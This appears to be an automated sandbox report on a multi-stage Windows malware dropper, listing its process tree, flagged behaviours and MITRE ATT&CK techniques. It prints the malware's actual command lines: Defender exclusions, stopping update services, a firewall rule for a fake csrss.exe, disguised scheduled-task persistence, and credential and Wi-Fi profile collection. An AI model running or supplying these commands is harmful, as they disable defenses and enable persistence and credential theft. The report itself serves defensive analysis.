PID 1920 wrote to memory of 4392	1920	92d05bed38255a6070b95199864724c1df7c007f6cc351dda09c43dc324210eb.exe	87
PID 1920 wrote to memory of 4392	1920	92d05bed38255a6070b95199864724c1df7c007f6cc351dda09c43dc324210eb.exe	87
PID 1920 wrote to memory of 4392	1920	92d05bed38255a6070b95199864724c1df7c007f6cc351dda09c43dc324210eb.exe	87
PID 4392 wrote to memory of 2204	4392	Cr7fp82.exe	89
PID 4392 wrote to memory of 2204	4392	Cr7fp82.exe	89
PID 4392 wrote to memory of 2204	4392	Cr7fp82.exe	89
PID 2204 wrote to memory of 4404	2204	TA7Op58.exe	90
PID 2204 wrote to memory of 4404	2204	TA7Op58.exe	90
PID 2204 wrote to memory of 4404	2204	TA7Op58.exe	90
PID 4404 wrote to memory of 4592	4404	FB9dE05.exe	92
PID 4404 wrote to memory of 4592	4404	FB9dE05.exe	92
PID 4404 wrote to memory of 4592	4404	FB9dE05.exe	92
PID 4592 wrote to memory of 3064	4592	PM3ll37.exe	93
PID 4592 wrote to memory of 3064	4592	PM3ll37.exe	93
PID 4592 wrote to memory of 3064	4592	PM3ll37.exe	93
PID 4592 wrote to memory of 3456	4592	PM3ll37.exe	100
PID 4592 wrote to memory of 3456	4592	PM3ll37.exe	100
PID 4592 wrote to memory of 3456	4592	PM3ll37.exe	100
PID 3456 wrote to memory of 1980	3456	2eo7561.exe	102
PID 3456 wrote to memory of 1980	3456	2eo7561.exe	102
PID 3456 wrote to memory of 1980	3456	2eo7561.exe	102
PID 3456 wrote to memory of 2468	3456	2eo7561.exe	103
PID 3456 wrote to memory of 2468	3456	2eo7561.exe	103
PID 3456 wrote to memory of 2468	3456	2eo7561.exe	103
PID 3456 wrote to memory of 2468	3456	2eo7561.exe	103
PID 3456 wrote to memory of 2468	3456	2eo7561.exe	103
PID 3456 wrote to memory of 2468	3456	2eo7561.exe	103
PID 3456 wrote to memory of 2468	3456	2eo7561.exe	103
PID 3456 wrote to memory of 2468	3456	2eo7561.exe	103
PID 3456 wrote to memory of 2468	3456	2eo7561.exe	103
PID 3456 wrote to memory of 2468	3456	2eo7561.exe	103
PID 4404 wrote to memory of 4996	4404	FB9dE05.exe	108
PID 4404 wrote to memory of 4996	4404	FB9dE05.exe	108
PID 4404 wrote to memory of 4996	4404	FB9dE05.exe	108
PID 2204 wrote to memory of 3776	2204	TA7Op58.exe	109
PID 2204 wrote to memory of 3776	2204	TA7Op58.exe	109
PID 2204 wrote to memory of 3776	2204	TA7Op58.exe	109
PID 3776 wrote to memory of 2224	3776	4NB329oF.exe	111
PID 3776 wrote to memory of 2224	3776	4NB329oF.exe	111
PID 3776 wrote to memory of 2224	3776	4NB329oF.exe	111
PID 3776 wrote to memory of 4496	3776	4NB329oF.exe	112
PID 3776 wrote to memory of 4496	3776	4NB329oF.exe	112
PID 3776 wrote to memory of 4496	3776	4NB329oF.exe	112
PID 3776 wrote to memory of 1188	3776	4NB329oF.exe	113
PID 3776 wrote to memory of 1188	3776	4NB329oF.exe	113
PID 3776 wrote to memory of 1188	3776	4NB329oF.exe	113
PID 3776 wrote to memory of 1188	3776	4NB329oF.exe	113
PID 3776 wrote to memory of 1188	3776	4NB329oF.exe	113
PID 3776 wrote to memory of 1188	3776	4NB329oF.exe	113
PID 3776 wrote to memory of 1188	3776	4NB329oF.exe	113
PID 3776 wrote to memory of 1188	3776	4NB329oF.exe	113
PID 4392 wrote to memory of 1692	4392	Cr7fp82.exe	117
PID 4392 wrote to memory of 1692	4392	Cr7fp82.exe	117
PID 4392 wrote to memory of 1692	4392	Cr7fp82.exe	117
PID 1920 wrote to memory of 660	1920	92d05bed38255a6070b95199864724c1df7c007f6cc351dda09c43dc324210eb.exe	118
PID 1920 wrote to memory of 660	1920	92d05bed38255a6070b95199864724c1df7c007f6cc351dda09c43dc324210eb.exe	118
PID 1920 wrote to memory of 660	1920	92d05bed38255a6070b95199864724c1df7c007f6cc351dda09c43dc324210eb.exe	118
PID 660 wrote to memory of 2844	660	7Xx2fZ79.exe	119
PID 660 wrote to memory of 2844	660	7Xx2fZ79.exe	119
PID 660 wrote to memory of 2844	660	7Xx2fZ79.exe	119
PID 3356 wrote to memory of 1336	3356	Explorer.EXE	126
PID 3356 wrote to memory of 1336	3356	Explorer.EXE	126
PID 3356 wrote to memory of 1336	3356	Explorer.EXE	126
PID 3356 wrote to memory of 2116	3356	Explorer.EXE	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:3356
- C:\Users\Admin\AppData\Local\Temp\92d05bed38255a6070b95199864724c1df7c007f6cc351dda09c43dc324210eb.exe
  "C:\Users\Admin\AppData\Local\Temp\92d05bed38255a6070b95199864724c1df7c007f6cc351dda09c43dc324210eb.exe"
  2⤵
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Cr7fp82.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Cr7fp82.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:4392
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\TA7Op58.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\TA7Op58.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:2204
    - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\FB9dE05.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\FB9dE05.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:4404
      - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\PM3ll37.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\PM3ll37.exe
        6⤵
        Executes dropped EXE
        Adds Run key to start application
        Suspicious use of WriteProcessMemory
        
        PID:4592
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Un83uE2.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1Un83uE2.exe
        7⤵
        Modifies Windows Defender Real-time Protection settings
        Executes dropped EXE
        Windows security modification
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3064
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2eo7561.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2eo7561.exe
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:3456
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:1980
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        8⤵
        
        PID:2468
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2468 -s 540
        9⤵
        Program crash
        
        PID:3604
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3456 -s 644
        8⤵
        Program crash
        
        PID:3184
      - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\3cq11nu.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\3cq11nu.exe
        6⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:4996
    - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\4NB329oF.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\4NB329oF.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:3776
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        6⤵
        
        PID:2224
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        6⤵
        
        PID:4496
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        6⤵
        
        PID:1188
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3776 -s 616
        6⤵
        Program crash
        
        PID:4560
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6lY0xK3.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6lY0xK3.exe
      4⤵
      Executes dropped EXE
      PID:1692
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7Xx2fZ79.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7Xx2fZ79.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:660
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\is64.bat" "
      4⤵
      PID:2844
- C:\Users\Admin\AppData\Local\Temp\664.exe
  C:\Users\Admin\AppData\Local\Temp\664.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  PID:1336
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\qm5TH4mL.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\qm5TH4mL.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    PID:3568
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\sh5KK9Pk.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\sh5KK9Pk.exe
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      PID:1232
    - - C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Rz7ym3kv.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\Rz7ym3kv.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:2148
      - C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1BV39JP5.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\1BV39JP5.exe
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:2064
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        7⤵
        
        PID:3636
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3636 -s 540
        8⤵
        Program crash
        
        PID:920
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2064 -s 620
        7⤵
        Program crash
        
        PID:4820
      - C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2tP235cE.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\2tP235cE.exe
        6⤵
        Executes dropped EXE
        
        PID:4008
- C:\Users\Admin\AppData\Local\Temp\FEA.exe
  C:\Users\Admin\AppData\Local\Temp\FEA.exe
  2⤵
  - Executes dropped EXE
  PID:2116
- C:\Users\Admin\AppData\Local\Temp\1C20.exe
  C:\Users\Admin\AppData\Local\Temp\1C20.exe
  2⤵
  - Executes dropped EXE
  PID:4488
- C:\Users\Admin\AppData\Local\Temp\417C.exe
  C:\Users\Admin\AppData\Local\Temp\417C.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:2468
- - C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe
    "C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"
    3⤵
    - Executes dropped EXE
    PID:4352
  - - C:\Users\Admin\AppData\Local\Temp\Broom.exe
      C:\Users\Admin\AppData\Local\Temp\Broom.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:1900
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    PID:3632
  - - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
      "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious behavior: MapViewOfSection
      PID:1572
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    - Executes dropped EXE
    PID:4024
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      PID:2736
  - - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
      "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:4996
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:456
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:2764
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:2960
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:3988
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:3664
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        Executes dropped EXE
        
        PID:2536
- - C:\Users\Admin\AppData\Local\Temp\kos4.exe
    "C:\Users\Admin\AppData\Local\Temp\kos4.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1828
- - C:\Users\Admin\AppData\Local\Temp\latestX.exe
    "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:2996
- C:\Users\Admin\AppData\Local\Temp\43EE.exe
  C:\Users\Admin\AppData\Local\Temp\43EE.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:3456
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3456 -s 784
    3⤵
    - Program crash
    PID:1564
- C:\Users\Admin\AppData\Local\Temp\4546.exe
  C:\Users\Admin\AppData\Local\Temp\4546.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4512
- C:\Users\Admin\AppData\Local\Temp\472C.exe
  C:\Users\Admin\AppData\Local\Temp\472C.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  PID:5096
- - C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
    "C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3120
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
      4⤵
      Loads dropped DLL
      PID:3388
    - - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\cred64.dll, Main
        5⤵
        Blocklisted process makes network request
        Loads dropped DLL
        
        PID:916
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        
        PID:1184
      - C:\Windows\system32\tar.exe
        
        tar.exe -cf "C:\Users\Admin\AppData\Local\Temp\847444993605_Desktop.tar" "C:\Users\Admin\AppData\Local\Temp\_Files_\*.*"
        6⤵
        
        PID:3452
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\aca439ae61e801\clip64.dll, Main
      4⤵
      Blocklisted process makes network request
      Loads dropped DLL
      PID:3680
- C:\Users\Admin\AppData\Local\Temp\804E.exe
  C:\Users\Admin\AppData\Local\Temp\804E.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4580
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    3⤵
    PID:2616
- C:\Users\Admin\AppData\Local\Temp\C4E9.exe
  C:\Users\Admin\AppData\Local\Temp\C4E9.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3196
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
    3⤵
    PID:3624
- C:\Users\Admin\AppData\Local\Temp\E11D.exe
  C:\Users\Admin\AppData\Local\Temp\E11D.exe
  2⤵
  - Executes dropped EXE
  PID:3640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:3312
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:2096
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2660
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1344
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2880
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2648
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2472
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2028
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:4116
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:3636
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:3864
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:936
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:4404
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:3580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Modifies data under HKEY_USERS
  PID:5040

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2468 -ip 2468
1⤵
PID:3016

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 364 -p 3456 -ip 3456
1⤵
PID:4692

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3776 -ip 3776
1⤵
PID:4868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3636 -ip 3636
1⤵
PID:1960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2064 -ip 2064
1⤵
PID:3388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3456 -ip 3456
1⤵
PID:3900

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe" /F
1⤵
- Creates scheduled task(s)
PID:2552

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "Utsysc.exe" /P "Admin:N"&&CACLS "Utsysc.exe" /P "Admin:R" /E&&echo Y|CACLS "..\e8b5234212" /P "Admin:N"&&CACLS "..\e8b5234212" /P "Admin:R" /E&&Exit
1⤵
PID:5020
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:3548
- C:\Windows\SysWOW64\cacls.exe
  CACLS "Utsysc.exe" /P "Admin:N"
  2⤵
  PID:2636
- C:\Windows\SysWOW64\cacls.exe
  CACLS "Utsysc.exe" /P "Admin:R" /E
  2⤵
  PID:2536
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4508
- C:\Windows\SysWOW64\cacls.exe
  CACLS "..\e8b5234212" /P "Admin:N"
  2⤵
  PID:560
- C:\Windows\SysWOW64\cacls.exe
  CACLS "..\e8b5234212" /P "Admin:R" /E
  2⤵
  PID:2040

C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
C:\Users\Admin\AppData\Local\Temp\e8b5234212\Utsysc.exe
1⤵
- Executes dropped EXE
PID:916

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery